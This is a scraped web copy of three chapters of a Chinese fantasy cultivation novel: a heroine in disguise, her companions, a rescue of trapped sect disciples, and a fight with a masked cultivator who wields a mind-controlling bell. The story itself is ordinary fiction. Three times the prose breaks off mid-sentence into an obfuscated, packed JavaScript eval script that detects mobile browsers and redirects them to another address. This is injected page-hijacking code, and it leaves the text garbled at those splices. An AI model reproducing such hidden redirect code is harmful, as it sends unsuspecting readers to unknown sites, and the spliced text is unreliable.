她这一剑的威力,并不源于她本身的灵力,而是巧妙借用了考场中的灵力,短短一瞬间,四周的灵力被瞬间抽离,如春雨般向凌七涌去,化入她经脉之中。 季灵泽感知到自己境界隐隐变动,微皱了一下眉,咽下口中心脉破裂所致的一口血,而后从容收剑,转身向黄泉林走去。 她孤身负剑,踩在那些干涸的血迹上,剑匣碰动,行走间带起轻微的声响。 彼时是午夜,月明星稀,黄泉林外,万籁俱寂。 天地之间,只剩下了这种声响。 郁观定定望着,恍惚间有一种错觉,她像是很久之前就在这里,踽踽独行走了数百年。 他一直看着她半只脚踏入黄泉林,才如梦初醒地叫了一声:“凌七!” 季灵泽走到一半回头,看清了来人,眸中的冷意散去,微微抬眉,笑道:“你也来了,一起进去?” 19. 第 19 章 她语气平常,就像是在邀请他去喝酒,郁观眨眨眼睛,压下心头方才的怪异感,将扇子一敲,跟上来与她并肩:“是啊,我还真有点好奇里面怎么了。” 正当二人抬步欲进,后面传来一阵细微脚步声,季灵泽回头看去,就见一个陌生青年不知何时也到了此地,青年相貌平平,修为也平平,唯独一身气度冷淡若山巅冰雪,颇为特殊。 他同样没有犹豫,目标明确,朝着黄泉林入口而来。 季灵泽盯着他,目光肆无忌惮,不加收敛,看得青年也敛目望过来,与她对视的瞬间,青年目光一颤。 郁观还没有反应过来,就见身侧的凌七招了招手,主动笑道:“仙友也是进这黄泉林的吗?可愿同行?” 凌七从不是喜爱与人结伴的性子,这点郁观再清楚不过,他一顿,意外地挑眉看着她,刚想问她是否认识此人,凌七已经给他传了音: “此人不是本体,是替身。” 郁观摇着扇子的手一停,再看向那青年的目光变得微妙起来。 在这个节骨眼上用替身出现在黄泉林前,还一副高傲的模样,这个人不会是南宫策吧?他也发现了不对? 青年望着他们,似有片刻的失神。 季灵泽静静等那人的回答,出乎意料地,这个看起来拒人于千里之外的青年点了一下头,道:“好。” 不止是郁观,这个陌生青年的到来让场外的其他人也摸不着头脑。 “这是哪个门派的,怎么那么面生?”凤迟看着镜中那青年半天,疑问道。 “许是某个不怕死的小门派弟子。”洛川坐直了身子,笑眯眯地答道。 他余光看向一旁的郁泊舟。 郁泊舟眉眼间不知为何有些怔忡,他静静望着镜中,镜子里的光落在他的脸上,他的睫毛在颤抖。 片刻后,他极用力地闭了一下眼睛。 郁观对“南宫策”没什么好脸色,连带着讨厌这个替身。他见他居然同意一起走,轻哼了一声,立刻挪开,和他隔得远远地站着,假装自己没有看见他。 季灵泽倒是主动站到青年身边,与他一起走进去时,她凑近了笑问:“仙友怎么称呼?” 她压着嗓子,尾音勾起来一点儿,不想是在询问,倒像是在同他玩笑。 踏入黄泉林与外面是截然不同的景色,半空中一轮血月,四处煞气,人行其中,狂风大作,吹起青年额前的一缕黑发,露出他深而亮的一双眼,他看着她,认真道: “季寻。” “季仙友,”季灵泽弯起眼睛,朝他抱拳,“在下凌七。” 这句话刚结束,四周狂风忽然停了,季灵泽脚底亮起一道金色的圈,她低头望去,金色的巨圈瞬间扩大了数倍,将三人全部圈在其中,地面塌陷下去,他们也被迫坠落下去。 郁观移开想躲,却发现四处都无处容身,脚踩在哪一块地面上,哪一块地面便以肉眼可见的速度下陷。 季灵泽手疾眼快地幻化出佩剑跳上去,顾不上自己站稳,先抓着他们二人的手腕像拔萝卜一样把他们拔出来,二人的脚刚离开地面,翻滚的沼泽一下子平息,又变回了坚实的大地。 “这是哪个混账设的恶心阵法?”郁观惊魂未定地化出自己的佩剑,吐槽道。 混账本人望着塌陷的地面,眼角抽了抽:“季灵泽留下来的沼泽谭。不用管,后面会没有的。” 郁观恍然,过了片刻,他突然看向季灵泽,狐疑道:“你一个山里来的修士,怎么连魔尊的阵法都知道?” 此言一出,一直盯着自己手腕看的季寻也偏过头望来。 “因为我爱读书,”季灵泽说起瞎话张口就来,还顺嘴教育他,“你不要看不起那些凡间话本子,真的有用。” 黄泉林内看不见百晓山的动静,季灵泽撕下一片衣角当成纸,弯腰,将手指按在剑锋上再次干脆利落地一抹,刚愈合的伤口裂了,渗出几滴血来,她用血在白色衣角上画了一道符咒,抬手扔出,衣角在空中转了一圈,朝着一个方向飘去。 “往那儿走。”她御剑跟上去。 郁观对她这画符咒的本领啧啧称奇:“这也是你看书学到的?能不能教我?” 季灵泽爽快地张开一只手,立即道:“当然可以,五十万灵石。” 她沾血的指尖从季寻眼前晃过,季寻看着那道殷红的伤口,不着痕迹地皱了一下眉。 “你不包扎一下?”他沉默良久,还是道。 季灵泽正在全神贯注地看着前面的符咒方向,闻言有点摸不着头脑:“包扎什么?” “手指上的伤口。”季寻慢慢道。 “这个?”季灵泽看了一眼自己的手指上一寸长的伤口,甩了一下手,不甚在意地笑了笑,“是得包扎,再不包扎它自己就愈合了。” 这人大约是世家子弟出身,没有正儿八经打过架,一会儿得护好他,别把他吓着了。 季灵泽蹲在剑上回头看了一眼季寻,思绪偏了偏,如是想。 几人顺着符咒指引的方向而去,随着慢慢靠近,空气中的血腥味也越来越浓,飞到一处时,郁观面色一沉,向下俯冲而去,他蹲下来抹了一把地面,摊开手掌给他们二人看,手掌里有一层薄薄的细沙:“百晓山的浴沙咒。” 季灵泽端详片刻,皱了眉道:“这段黄沙色泽不对,泡过鲜血。” 气氛一下子沉重起来,若是魔修的血便也罢了,若是百晓山弟子的血……他们进入后不久便已经血染黄沙,恐怕遇见的是极为棘手的麻烦。 血月高悬,手掌中的黄沙顷刻间便被风吹走,消散在伸手不见五指的夜色里。 他们不再说话,皆面色凝重地向前赶。 越接近目的地,符咒上的金光越淡,而符咒上的金光越是淡一分,染血的黄沙数量便越多一分。 渐渐的能看见黄沙一层层变厚,有时还能看见结块的黄沙,就在符咒上的金光已经彻底暗下去的一瞬,他们看见了大片的血。 星星点点的一大片。像是被风吹散了满地的枫叶。 却没有看见一个人,连尸体也没有。 几人的神情都变得难看起来。 季灵泽率先跳下剑去,一把将招财剑插入血沙之中。 剑身触及血液,剑意散出,发出龙鸣之声。 季灵泽屈起指节抹向剑锋,打算以血为引重新结一个寻人的符咒,却被人一把抓住了手臂。 是季寻,他握着她的剑柄,神情严肃地望着她:“不要再浪费你的血了。” 季灵泽本想开口反驳,对上他的眼睛,沉默片刻,又咽下去了,真的收回了手。 她原本刻意接近此人,是觉得这人深浅莫测,以替身出现在黄泉林外,怕是歹人,但方才观他动作言语,总感觉他有点……古道热肠? 也许他是某个出身百晓山的修士,不忍心见自己门派蒙难,所以捏了个替身进来? 想到此处,她叹了口气,拍拍他的肩膀安慰道:“百晓山会没事的。” 季寻怔了一下,盯着她的手,半晌没能说出话。 郁观奇怪地看了季灵泽和季寻一眼。 南宫策为什么突然那么关心季灵泽?季灵泽又为什么要安慰南宫策百晓山没事? 莫不是精神太紧张,两个人都出了什么问题? 他满脑子疑问,一个没留神,身后传来破空之声,再想躲避已经晚了一步,电光火石之间,季灵泽反应极迅速地拔剑格挡,一支羽箭擦着郁观的脸穿过,钉入地下,溅起一地黄沙。 郁观倒吸一口凉气。 若没有季灵泽方才的一挡,这支箭会直接洞穿他的后心。 季灵泽脸色沉下来,抬眼,顺着箭来的方向望去,满目肃杀,她抬起手中的招财剑,平指向前,声音淡冷:“滚出来。” 对方久久没有回复,她周身滚起巨大的水柱,交叉缠绕在断剑之上,将断剑补成一把完整的剑,流淌的水波切割倒映着天上的血月,鲜红耀眼,杀机毕露。 郁观睁大了眼睛,他也是水系灵力,但自问做不到这种强度,目光不由得有些复杂,不自觉深吸了一口气,指尖拂过扇子上“凌七”二字,默然。 从遇见凌七起,这个人随时都在刷新他的认知。 四野无声,黄泉林中,只有无数枯木矗立,犹如成百上千个沉默的巨人。季灵泽不去管身后二人如何看她,一步步向林间走去,剑尖点地,顺着她的动作划过染血的黄沙,溅起一片妖异的红。 她抬起剑锋,凌空跃起,从左至右劈出一个圆弧形的水刃! 水刃像一道尖锐的新月,径直射出,直接将一排枯木全部拦腰砍断。 她一刻不停地劈出七七四十九道水刃,每一道都带着摧枯拉朽之意,将方圆十里的所有枯木全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季灵泽垂目望着她的样子,目光软化了一些,她将手放在她的头顶上,一丝精纯灵力顺着她的手指没入修士的体内,修士眼中的黑气淡了一些,她极力张着口,断断续续地道:“杀了我……杀了我……” 比起季灵泽和季寻,郁观与这修士更熟悉,见了她这副样子,他脸色沉下来,皱着眉,盯着这个修士的眼睛,问道:“扈紫珠,你为什么会变成魔修?百晓山的其他人呢?” 被唤做扈紫珠的修士听见了自己的名字,混沌的目光再一次清晰了一些,她呕出一口血,低声道:“我……我是被逼的……呃啊!” 黑气再次侵占了大部分她的眼白,她无意识地伸手去摸自己的长弓,想要攻击面前的几人。 心内顿时有个不好的猜想,季灵泽叹一口气,输送了更多灵力进去,而后弯腰与她平视,她清晰地问:“可是遇见了什么困难,有人诱导你牺牲自己堕魔才能逃出?” 扈紫珠艰难地点了点头,她口中溢出血来,顺着脖颈往下淌,衣领处殷红一片,溅满了星星点点的血。 季灵泽抬起纯白的衣袖,仔细替她擦干净了嘴角血迹,动作轻柔。 “我们遇见了数不清的魔兽,我的很多同袍都死了,”扈紫珠喘了口气,终于能说话了,她声音很虚弱,说了几句就会忍不住干呕起来,“有一个声音告诉我,杀了旁边的人,我就可以变强,救下其他人……我当时不知为何就……” “我……我堕魔了,”她讲述到这里,浑身都颤抖起来,沉沉吐出一口气,“我离开了宗门,遇见了你们,对不起……对不起,刚刚我……控制不住自己的杀欲。” 成串的泪珠顺着她的脸颊滚落,她再一次痉挛起来,长发像枯草一样纠缠甩动,黑洞洞的眼睛不住地颤着,像挣扎的蝌蚪。 这个一贯强硬又骄傲的修士不愿让他们看见自己现在的模样,抬手想挡住脸,却发现连抬手的力气也没有。 “不是你的错。”季灵泽声音温和地安抚她,她向郁观和季寻看了一眼,二人会意,纷纷背过身不再看扈紫珠。 季灵泽低头与她平视,神色异常沉静:“你现在告诉我们其他人在哪里,兴许他们还有救。” 扈紫珠咬牙,用尽全力抬起布满疤痕的手,指向一个方向。 季灵泽朝那个方向看了一眼,略一点头,干脆利落地拔出招财剑。 “谢谢你告诉我们这些。” 在看见季灵泽眼睛的时候,扈紫珠意识到了她要做什么,她哀伤地笑了笑: “有劳了。” 血光一现。 她软软地倒下,彻底闭上了眼睛。 20. 第 20 章 背后传来人倒地的声音,郁观转过身来失声道:“她……” 季灵泽袖上还残余着扈紫珠的血,像是在那抹纯白上绣出的曼陀罗花,红艳到妖异。 她将外袍脱下,披在扈紫珠身上,朝着方才扈紫珠指的方向走,一直没有回头:“她不想以魔修的身份活着。” 她脚下,扈紫珠的血漫过来,浸透了那些砂砾。 这是郁观第一次直面同僚的死亡,他注视着那具尸体,像是被钉在了原地,久久回不过神。 过了片刻,他颤抖地呼出一口气,忍不住皱眉问道:“也许带上她还有一线生机,也许……也许她尚能重塑仙身呢?” 季灵泽平静地回答:“如果我现在不了结她,你猜,她出去之后会是什么下场?” 这句话说完,郁观悚然一惊。 扈紫珠已经堕魔,不管是不是她愿意的,魔气都会侵蚀她的心智,促使她杀人。她只是普通修士,背后没有世家撑腰,一旦她出去,其实只有一条路。 在众目睽睽之下,以背叛者的身份屈辱地被处决。 几人顺着扈紫珠的指引,在一处巨大的天坑前找到了百晓山。 这里应是被巨型的魔兽攻击过,深深凹陷下去,足有数十米高,形成了一个天坑。 这座天坑给了百晓山弟子们一个喘息的机会,他们躲在里面,通过黄沙封闭住洞口,只露出一个小孔,一众魔兽被隔离在外,朝着洞内咆哮嘶吼。 随着他们三人的到来,魔兽们闻到新鲜的气息,纷纷转身向他们看来,无数双眼睛在黑暗的夜色中闪着诡异的光芒。 这些魔兽都是金丹期以内,对三人来说不难对付,几人花了点时间杀死了冲在最前面的一波魔兽,其余魔兽为他们攻势所慑,一时间不敢上前。 季寻一掌劈开那洞口,里面伤痕累累的百晓山弟子纷纷抓起各自的兵器,戒备地抬头,无数张布满泪痕与血迹的脸转向他们,带着惊魂未定的恐慌。 看清了是郁观几人,百晓山弟子手中的兵器纷纷放下了,他们骚动一阵,像是忽然找到了主心骨,也顾不上是对手了,激动又欣喜地叫道:“郁仙友是奉命来救我等的吗?” 郁观看着他们,安静了一瞬,轻声道:“我们是自己来的,扈紫珠为我们指了路,让我们来寻你们。” 百晓山弟子听见这个名字,皆沉默了,他们互相看看,脸上皆闪过一丝复杂的情绪。 朝夕相处的人突然变成了魔修,换谁也接受不了。 “她不是内鬼,大约是被什么能影响心智的东西害了。”季灵泽低头看着自己衣袖上的血,道。 她没有提扈紫珠入魔的细节,在不确定百晓山弟子是否都可信的情况下,不宜透露他们知道的一切。 郁观攥紧了扇子,不忍再去回忆扈紫珠的样子,环顾他们一圈,问:“洛啸天呢?” 如果洛啸天在,以他的修为,百晓山不会被那些魔兽逼得这么狼狈。 百晓山弟子纷纷安静下来。 他们闪躲的目光让郁观也沉默了,他垂下头,盯着扇子上那句“季灵泽、洛啸天还钱”,喃喃道:“别啊,他还没还我钱呢。” 良久,一个弟子哽咽着开口道:“洛师兄恐惧高空,因此不会御剑,他刚一进来便与沙狼一起陷入泥沼,我们再也没见过,若有他在,我们也不至于……不至于如此。” 郁观想起之前凌七之前说泥沼是魔尊所造,神情不由得又凝重了几分:“泥沼乃魔尊所设下,洛啸天恐怕凶多吉少……” 季灵泽古怪地看了他一眼:“他没事。” 此言一出,六神无主的百晓山弟子顿时如同见到了救命稻草一样围上来:“你见到洛师兄了吗?” 季灵泽摇了摇头,觉得有点好笑:“他运气不错,那沼泽底下是个防身的洞穴,能隔绝气息,避免魔兽,洛啸天呆里面比你们还安全。” “可……杀人如麻的魔尊真的会设这么无害的法阵?”郁观抓抓后脑勺,讶异道。 季灵泽默默转过脸:“谁知道她当时怎么想的?” 季寻正巧朝她瞥来一眼,这一眼微含笑意,似是冰雪初融,季灵泽转过脸看见冷冰冰的季寻朝她笑了,不由得一怔。 这人大概率出身百晓山,和洛啸天关系匪浅,知道他没事了,居然这么开心。 这念头也是一瞬间,她不再管季寻,只向着郁观胡诌道:“你多看书,书里都有。” 季灵泽展现出的学识丝毫不像个散修,难道……那些话本子别有乾坤? 郁观几十年的读书观全部崩塌了,他想到她看的那些书,不由陷入深深的自我怀疑中,迟疑了许久,忍着巨大的羞耻,最终做出了一个违背祖宗的决定:“你那本《仙尊何处逃,霸道魔尊狠狠宠》还有吗?” 此言一出,满室寂静。 一直沉默寡言的季寻霍然抬眼,认真地打量了郁观一遍,看得本就羞耻的郁观受不了了:“看什么看?” 季寻目光微妙,言简意赅:“你的读书品味,颇为特别。” 郁观:“……” 他不是。他没有。别瞎说。 该死的南宫策。 拐弯抹角骂他是吧。 季灵泽不给他反悔的机会,当即眼疾手快地打开钱袋:“有的是,两百灵石,要不要?” 郁观忍辱负重地掏出两百灵石交给她。 季寻不知道想了点什么,忽然道:“我也买一本。” 这下不只是郁观了,连季灵泽都睁大眼睛看过来。 季寻此人,一看就是典型的正人君子,居然也会对这种书感兴趣,人不可貌相啊。 季寻的耳根有一点点红,但面上还是很冷肃:“以后我来找你拿。” 季灵泽连接两单,心情很好,十分大方道:“好说好说,看在刚刚你帮忙的份上,买一送一,先交钱,出去了我给你。” 郁观一句“南宫策你吃错药了”刚要出口,意识到这句话也等同于在骂自己,默默又咽回去了。 他若无其事地转过身,看见百晓山众人身上血迹斑斑,便双手结印,扇尖潺潺涌出一股清澈的水流。百晓山的弟子们忙过来接水,清洗脸上手上的血渍。 正当众人都松了口气时,水流忽然断了,郁观呼吸陡然一重,捂住自己的额头半跪下来,不过一瞬间的功夫,他的脸色已经肉眼可见地苍白下去,整个人踉跄一瞬,手中的扇子脱手而落,几乎要扑倒在地,季灵泽眼疾手快一把把他捞起来,郁观挣扎几下,目中闪过一丝黑芒,十指抓向季灵泽的心口! 季灵泽立刻松手,一把制住他的手腕,屈膝顶向他腹部,郁观腹部猛受创,整个人都疼得蜷缩起来,季灵泽趁机按住他,抬手便要给他输灵力。 “我来,”季寻不假思索地止住季灵泽抬起的手,看着她的眼睛,坚定地摇了摇头,“你方才刚输过灵力,不能再耗费了。” 他靠近的那一瞬间,发丝拂过她的肩膀,季灵泽鼻尖掠过一缕极淡的香气,她直觉不太自在,下意识往后仰了仰,还没反应过来,手中的郁观就被接了过去。 他身上的某种莫名的熟悉感觉让季灵泽下意识警惕,她压了眉,手指戒备地搭上腰侧的招财剑,剑上寒芒一闪。 季寻目不斜视,似乎没看到她的举动,他双指合并,按在郁观的眉心,灵力如春风化雨沁入他的眉心,片刻后,郁观缓缓睁开眼,目光重新清明,脸上逐渐恢复血色。 见他无恙,季灵泽按在剑上的手缓缓松开,她弯腰捡起地上的扇子递过去,神色如常地问郁观道:“方才怎么了?” 郁观恍惚了一瞬,慢慢醒过神来,将扇子接过:“对不起,我……我也听到了那个声音,一直在劝我杀了你。” 他咳嗽了一声,咳出一口血来,站起身时才发现一直是季寻搀扶着他,只好摸了摸鼻子,不情不愿地朝季寻道了一声“多谢”。 南宫策怎么今天这么好心? 季寻松开手,他垂下眼,往后走了几步,声音沙哑:“我出去看看。” 他说这话的时候没有看任何人,径直绕过季灵泽,头也不回地向洞外走去。 季灵泽看着他的背影,手指捻了捻,想起自己刚刚随时准备拔剑的戒备举动,莫名感到了一丝……愧疚。 方才那一瞬间,在她理智还没有回笼的时候,他的靠近让她产生了一股强烈的排斥感。 这并不像她。 “季仙友,”季灵泽垂目思索片刻,叫了他一声,“你一个人去,会不会不太安全?” 季寻停下步子,依然没有回头,声音冷淡:“我走了,你岂不是更放心?” 他语气硬邦邦的,像一块坚冰。 这一句入耳,季灵泽微微怔了一下,她放下手中的招财剑,目光落在他身上,带着一丝探究。 他方才一边输送灵力,一边还能感受到她方才的敌意?好敏锐的五感。 郁观并不知道刚才发生了什么,他才被季寻用灵力救完,现下季寻语气不好,他不好意思生气,只好求助地看向季灵泽,企图缓解一下气氛:“一个人势单力薄,凌七你还是和他一起去吧?季仙友觉得怎么样?” 季灵泽没有动,她低头擦拭着脚下的招财剑,动作很用力。 季寻也没有动,他沉默地站在原地,保持着不肯回头的姿势,又迟迟不走。 郁观:“……” 没有人理他吗?有没有人在意他在说话?! 过了一会儿,季灵泽将招财剑擦拭得又亮又新后,这才抬了头,她静静地看着季寻,像是才发现他没有走,挑眉问道:“你不走吗?” 季寻闻言,身影一僵,他一拂袖子,抬脚便走。 郁观扭头用扇子戳了戳季灵泽:“他好像是在等你。” 看清季灵泽的神色后,他愣了愣,季灵泽似乎心情很好的样子,眉眼都舒展开来,眸子里闪动着某种恶作剧得逞的笑意。 她起身拍了拍自己的衣摆,掸掉上面的灰尘:“嗯,我知道。” 出洞的时候已经看不见季寻的踪迹了,季灵泽也不急,她跳上招财剑,慢悠悠飞上高空,四面环顾一圈,果不其然在不远处的山丘上找到了一个正在向前走的人。 季寻默不作声,独自一人,走得很慢。 一个含笑的声音从天上传来:“仙友,一个人吗?” 他微不可察地滞了一下,没有管她,继续向前走。 季灵泽御剑缀在离他几尺远的空中,也不生气,还是那副慢悠悠的模样:“那你的同伴真不是东西,竟忍心将你独自抛在这荒郊野外。” 季寻寒着脸不理她,她笑了一声,远远朝他拉长了调子道:“我来陪仙友,好不好?” “你不是不愿意来?”季寻冷冷转过头,恰好对上她一双闪动着亮光的眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季寻明显也听到了这个声音,但他受的影响要小很多。他第一反应便回头望向她,见她状态有异,顾不得其他,抬手便想给她渡灵力,然而还没碰到季灵泽的衣角,就见她抬眼看向自己。 看清她目光的刹那,季寻心神巨震! 那是一双血红的眸子,深不见底,毫不掩饰的杀意顺着她的目光流淌出来,盯着他的目光像是在俯视一只猎物。 “离我远点。” 季灵泽与他目光相撞,狠狠闭上眼睛,一掌推去,掌风将季寻推得向后退了几步。 尚有几分理智的她迅速运转清心咒,将浑身上下的灵力都聚拢在灵台,强压下心里那股杀意。 那声音断断续续又响了几次,季灵泽咬紧牙关,干脆操纵着四肢百骸的灵力,顺着声音的来处探去,那声音似乎意识到什么,立即消散一空。 她再睁眼时,眸色清明,已经恢复了平日的模样,只是唇上血色淡了几分,隐约有些疲倦。 “抱歉,”季灵泽按了按自己的眉心,她声音平静下来,带着一点儿未消散的沙哑,“我方才试着感知了一下声音的来处,大约在东南二十六里的方向。” 季寻深深看着她,分明是她遭罪,他脸色倒比她还苍白一分:“强行追溯会给身体造成不可逆的损害!你简直……简直……” 他眉头紧蹙,气得不轻,冷着脸向她伸出手。 季灵泽不解:“嗯?” 季寻脸上仿佛结了一层冰霜:“渡灵力。” 为他人渡灵力对修士是一种极大的消耗,更别提季寻只是一具替身了。 真是个面冷心热的大好人啊。早知道这样,方才就不捉弄他了。 季灵泽看着大好人季寻,良心不安了一瞬:“哈哈太客气了这怎么行……” “伸手。” 他都这么说了,季灵泽也不推辞了,大大方方将手伸了出去,季寻轻轻搭上她的手腕,温暖的灵力顺着他的指尖源源不断流入她的心脉,顺着她的心脉滋养着她干涸已久的心脉,一时间久旱逢甘霖,四肢百骸的疲倦都被洗刷干净。 灵力得到补充的季灵泽状态变好了不少,她垂目盯着他搭在她手腕上的那只手,骨节修长,比例匀停,看起来十分赏心悦目。 她从小就不知道矜持二字怎么写,毫不掩饰这种赞赏的注视,目光有若实质。 那只手蜷缩了一下,季寻声音发紧,冷不丁打破安静的空气:“……过会儿不可再伤及自身,我没有那么多灵力管闲事。” 季灵泽抬头时,他避开她的目光,飞速收回手,转头朝着她指的方向而去,脚步似乎比方才凌乱了一点。 季灵泽走在他身后,饶有兴趣地看着他的背影。 过了一阵子,她道:“多谢,这份恩情我记下了。” 季寻头也不回地冷嘲:“不必,你别作死就算是在报恩了。” 季灵泽颇为纳罕地凑过去看他,笑道:“我与季仙友素昧平生,季仙友这么舍不得我死啊?” “你……”季寻的耳垂上本就有一点血色,被她这样一捉弄,那胭脂一样的红色顿时扩散开来,漫到了耳根,不想再搭理这个无聊的家伙,他直接跃上佩剑,御剑向前疾驰起来。 狂风吹散了他脸上的热意,余光里,白衣女子拢着衣袖笑起来,笑得太放肆,呛了一口风,弯腰咳嗽了几声,慢了他一步,忙跳上剑朝他追来。 嗯。 长风掩盖住鼓动的心跳,也掩盖住那句极轻微的回答。 舍不得。 21. 第 21 章 他们离季灵泽所指的方向越来越近,不足一里。 无星无云的夜晚,整个黄泉林像一块死地,四处都是魔物的尸骸,高如小山,密密匝匝,人在其中宛如一只蝼蚁。 这样的环境更令人难以辨认出尸骸中是否有人潜伏在其中。 季灵泽低头看着地上当初自己创造的尸骸,沉默片刻,后悔地感叹:“若当初仙魔斗法能不殃及这么多魔兽,我们今日也好办许多。” “我来。”季寻意味不明地瞥了她一眼,抬手,指尖闪过一道微不可察的细芒。 就在这道细芒闪后,方圆一里的天忽然黑了,血月被一层厚重的云层掩盖,片刻后,鹅毛大雪纷纷扬扬落下,覆盖在地上的尸骸上。 冰雪融化,尸骸竟跟着冰雪一同融化,那诡异的大雪带着不容抗拒的力量,将所有阻碍他们视线的东西尽数毁去,雪过无痕,大地一片空旷。 季灵泽的眸中倒映出这场纷纷扬扬的冰雪,有一瞬间的出神。 印象里,前世也看过这样一场雪。 那似乎是她刚结成元婴的那日,闭关九十九日后,她踏出房门,抬眼便见到一场纷纷扬扬的大雪。 那时是三月,本不该有大雪。托这场大雪的福,她院中遍植的梅花一夜盛开,红梅白雪,琉璃胜境,煞是好看。 她那天心情极好,就着这样的雪景,饮下一壶“邀明月”,酒酣胸胆,半醉不醉时,提剑过了一遍剑招,惊起满院落花。 当时只道是寻常。 “怎么了?”季寻偏头问她。 她只出神了一刹,便被他唤回思绪,摇了摇头:“想起一些旧事。” “什么旧事?”季寻对这个问题格外有兴趣,一眨不眨地看着她。 季灵泽御剑俯冲下去,声音浅淡:“不太重要的事。” 她冲下去的时候没有回头,也因此错过了季寻一瞬间暗淡下去的目光。 季灵泽在半空中直接跃下招财剑,单手抓住剑柄,借着风势落地,剑尖划开地面上的雪,扫起一片飞白。 她手搭眉骨,回忆着曾听到的呓语方向,干脆顺着下过的这场雪,以剑作舟,向远处滑行而去。 她闪过几个残骸,速度极快,像只振翅滑翔的鹤,一直到一块巨石面前,她方才停下,擦去眉宇间的雪珠,抬眼向巨石边身穿黑袍的蒙面男子看去。 在看见他打扮的一瞬间,她目中一暗,笑了:“原来是你在装神弄鬼。” 黑袍蒙面,恰是那个她曾经在阁楼上见到的神秘人。 男子手中紧紧攥着一个铃铛,铃铛呈水滴形,通体乌黑,上绘有玄武图腾,摇动时无声。 ——引鬼铃。 鬼门关前带此铃,千鬼哭嚎万鬼啼。 此铃乃是千年前被誉为“器神合一”的婆娑老君所做,是她最得意的一件作品。 摇动此铃,佐以声音,能驱策尸体,影响修士的神志,执铃者的修为越高,铃声的威力越大,修士被影响后,起初毫无异状,但随着摇铃的频率加快,他们会难以抑制地开始顺从执铃者的安排。 此刻握着引鬼铃的是元婴后期的修士,也难怪扈紫珠受到的冲击如此之大。 男子看清季灵泽的脸,瞳孔骤缩:“你没死?!” 季灵泽摊了摊手:“没听说过吗,祸害遗千年。” 男子忍不住握紧了手中的引鬼铃,他的绝大部分脸都隐没在面具之下,只露出一双阴翳的眼睛,警惕地盯着季灵泽。 季灵泽不想多废话,她先他一步动了。 她的手在剑脊上有规律地敲击着,指尖翻飞如蝶,青光闪烁,剑脊发出清脆的叩击声,随着轻微的敲击节奏,蒙面修士身后,瞬间长出拔地而起的粗壮藤蔓,结成一张巨网,封死了他的退路。 竟是直接复刻了南宫策用来对付她的那招,敲击剑脊的节奏和南宫策弹奏的节奏几乎完全一样。 蒙面修士拧眉,旋身躲避藤蔓,举起手中的引鬼铃疯狂摇动起来,铃声无声,却像针一样刺破空气,刺向季灵泽的灵台。 引鬼铃第一式:千魂同悲。 季灵泽拔出招财剑,剑在半空中挽了个剑花,剑身震颤,发出一声飒飒剑鸣,剑鸣与铃响不偏不倚相撞,霎时间二人中间爆开一阵狂风,吹得季灵泽与蒙面修士同时后退一步。 与此同时,季寻也已经到了,他一句话没说,见了蒙面修士与季灵泽对峙的模样,提剑便向蒙面修士砍去。 蒙面修士见状不对,飞速御剑后撤,同时手中引鬼铃再次疯狂摇动起来,一圈圈音波扩散开来,附近的魔兽尸体像是被操纵的傀儡一样慢慢动了起来,缺胳膊少腿的魔兽同时转过身面向他们,从四面八方向他们涌来。 引鬼铃第二式:牵丝傀儡,可以控制身边的所有尸体,使得他们暂时为己所用。 电光火石的瞬间,季寻抬剑斩出一道圆弧形的剑风,剑风凌冽,犹带风霜,与傀儡魔兽相撞时,一排的魔兽被拦腰斩断。 然而棘手的是,那些尸体并不怕痛,被斩断后,仍然用那截断肢朝他们爬过来。 眼前的情景容不得他们犹豫,季灵泽当机立断:“你对付魔兽,我去追他。” 话音刚落,她也不管季寻同没同意,御剑便朝着正在攻击藤蔓试图逃离此处的蒙面修士而去。 她捏起一个法诀,蒙面修士的脚下顿时结了一层苔藓,滑腻潮湿,蒙面修士不由趔趄,就是这一瞬的功夫,季灵泽已经逼至眼前,三尺青锋带着煞气迎面劈来,招招毙命。 修士慌乱之中停下手中的引鬼铃,不假思索便抬手化出一堵沙墙格挡。 季灵泽一剑将沙墙捅了个对穿,隔着那捅出的洞,她透过这个洞,盯着蒙面修士的眼睛,露出一点儿笑意来:“你是百晓山的长老?” 蒙面修士被她一激,当即道:“会用浴沙咒的又不止百晓山!” “本来我也这么想,”季灵泽掀起眼皮,懒洋洋笑了一声,“可惜你这么急着反驳了我。” 蒙面修士空有元婴的修为,水分却实在很大。他被她三言两语搅得心神不宁,眼看着季寻那里已经果决迅速地杀倒了一片魔兽,马上便能腾出手对付他,慌乱之中他将手一推,半空里顿时扬起一阵铺天盖地的沙雾,地面飞速下陷,他试图土遁离开。 然而很不巧,在逃跑这方面,季灵泽才是行家。 她看不清他的方位,干脆将手中的招财剑往地上一插,只见地面下长出一大片根茎错综复杂的植物,密密匝匝地向下延伸,硬是把遁入地底的蒙面修士捆住。 蒙面修士无可奈何,只得重新钻回地面,刚冒出个头,便与笑盈盈的季灵泽对视,季灵泽御剑停在离地面一米的高空上,一见到他的脑袋,手中的石块便如同飞镖一样脱手而出! 蒙面修士立刻潜回地底,石子飞镖扎进他身侧的土地中,深深地埋入地下,足足将地面打出了一个凹陷下去的小坑。 此后几次也是同样,只要他敢从地面探出头,石子飞镖便会迎面而来,速度之快,简直像是预料到了他的动向一样。 探出头。 石子砸过来。 探出头。 石子砸过来。 …… 季灵泽站在剑上,手心里抓着一把满满当当的石子,专注地垂着眼帘向下看,她几乎从这种打地鼠游戏一般的打斗中获得了一些乐趣,颇有些兴致勃勃。 那边,季寻已经快要结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427052|183771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 